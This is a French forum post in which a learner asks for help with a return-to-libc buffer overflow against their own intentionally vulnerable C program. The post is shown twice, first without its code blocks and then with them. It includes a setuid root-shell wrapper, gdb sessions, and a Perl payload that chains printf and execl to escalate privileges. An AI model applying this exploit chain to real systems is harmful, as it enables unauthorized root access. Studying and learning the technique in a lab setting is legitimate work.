Bonjour,
Je tente d'apprendre et surtout de comprendre comment utiliser l'exploitation d'un buffer overflow en passant par libc plutôt que d'utiliser un shellcode.
J'ai suivi le tuto suivant : https://www.exploit-db.com/docs/28553.pdf
L'ASLR est désactivé.
J'ai le code vulnérable suivant :
Je le compile ainsi : gcc -o vuln2 vuln2.c
Le code que je tente d'appeler par execl() depuis libc est le suivant :
Je le compile ainsi : gcc -o wrapper wrapper.c
Je créé deux variable environnement :
L'offset avant écrasement de EIP est 19
L'exploitation est :
Je récupère les adresses nécessaire ainsi :
Donc :
- printf() => 0xb7ea5c20
- execl() found at b7efc610
- FMT is at 0xbfffff75
- FAV is at 0xbffffdd6
Il me manque mon adresse ou écrire 0 grâce à l'appel printf(FMT).
Dans GDB l'adresse de mon buffer est 0xbffff419 mais dans un terminal classique l'adresse est 0xbffff469:
Donc déjà ici, je ne sais pas laquelle est la bonne mais bon je pars avec 0xbffff469.
Je dois ajouter 19 (offset) + 20 (argument) pour atteindre l'adresse de mon NULL byte.
Cela donne donc : 0xbffff490
Je tente donc d'exploiter ainsi :
dans gdb :
Auriez-vous une idée du problème ?
Je tente d'apprendre et surtout de comprendre comment utiliser l'exploitation d'un buffer overflow en passant par libc plutôt que d'utiliser un shellcode.
J'ai suivi le tuto suivant : https://www.exploit-db.com/docs/28553.pdf
L'ASLR est désactivé.
J'ai le code vulnérable suivant :
Code:
int main(int argc, char **argv) { char buffer[7]; printf("Buffer is at: %08x\n", buffer); strcpy(buffer,argv[1]); printf("Ici\n"); return 0; }
Le code que je tente d'appeler par execl() depuis libc est le suivant :
Code:
int main() { setuid(0); execl("/bin/sh","/bin/sh", 0); }
Je créé deux variable environnement :
Code:
# export FMT="%3\$n" # export FAV="/root/Desktop/code/c/elevation/wrapper"
L'exploitation est :
Code:
EIP --------------------------------------------------------------------------- | Offset avant EIP(19) | printf() | execl() | FMT | FAV | FAV | NULL byte | ---------------------------------------------------------------------------
Code:
# gdb -q ./vuln2 Reading symbols from /root/Desktop/code/c/elevation/vuln2...done. (gdb) b main Breakpoint 1 at 0x8048485: file vuln2.c, line 3. (gdb) run `perl -e 'print "A"x39'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/Desktop/code/c/elevation/vuln2 `perl -e 'print "A"x39'` warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000 Breakpoint 1, main (argc=2, argv=0xbffff4d4) at vuln2.c:3 3 printf("Buffer is at: %08x\n", buffer); (gdb) x/s 0xbfffff75 0xbfffff75: "%3$n" => FMT (gdb) x/s 0xbffffdd6 0xbffffdd6: "/root/Desktop/code/c/elevation/wrapper" => FAV (gdb) p printf $1 = {<text variable, no debug info>} 0xb7ea5c20 <printf> (gdb) p execl $2 = {<text variable, no debug info>} 0xb7efc610 <execl> (gdb)c Continuing. Buffer is at: bffff419 Ici Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
- printf() => 0xb7ea5c20
- execl() found at b7efc610
- FMT is at 0xbfffff75
- FAV is at 0xbffffdd6
Il me manque mon adresse ou écrire 0 grâce à l'appel printf(FMT).
Dans GDB l'adresse de mon buffer est 0xbffff419 mais dans un terminal classique l'adresse est 0xbffff469:
Code:
# ./vuln2 `perl -e 'print "A"x39'` Buffer is at: bffff469 Ici Erreur de segmentation
Je dois ajouter 19 (offset) + 20 (argument) pour atteindre l'adresse de mon NULL byte.
Cela donne donc : 0xbffff490
Je tente donc d'exploiter ainsi :
Code:
# ./vuln2 `perl -e 'print "A"x19 ."\x20\x5c\xea\xb7"."\x10\xc6\xef\xb7"."\x75\xff\xff\xbf"."\xd6\xfd\xff\xbf"."\xd6\xfd\xff\xbf"."\x90\xf4\xff\xbf"'` Buffer is at: bffff469 Ici Erreur de segmentation # dmesg [23506.634482] vuln2[9265]: segfault at 414140fd ip b7e86416 sp bffff47c error 6 in libc-2.13.so[b7e5c000+15e000]
Code:
# gdb -q ./vuln2 Reading symbols from /root/Desktop/code/c/elevation/vuln2...done. (gdb) run `perl -e 'print "A"x19 ."\x20\x5c\xea\xb7"."\x10\xc6\xef\xb7"."\x75\xff\xff\xbf"."\xd6\xfd\xff\xbf"."\xd6\xfd\xff\xbf"."\x90\xf4\xff\xbf"'` Starting program: /root/Desktop/code/c/elevation/vuln2 `perl -e 'print "A"x19 ."\x20\x5c\xea\xb7"."\x10\xc6\xef\xb7"."\x75\xff\xff\xbf"."\xd6\xfd\xff\xbf"."\xd6\xfd\xff\xbf"."\x90\xf4\xff\xbf"'` warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000 Buffer is at: bffff419 Ici Program received signal SIGSEGV, Segmentation fault. 0xb7e86416 in _setjmp () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 (gdb)
Commentaire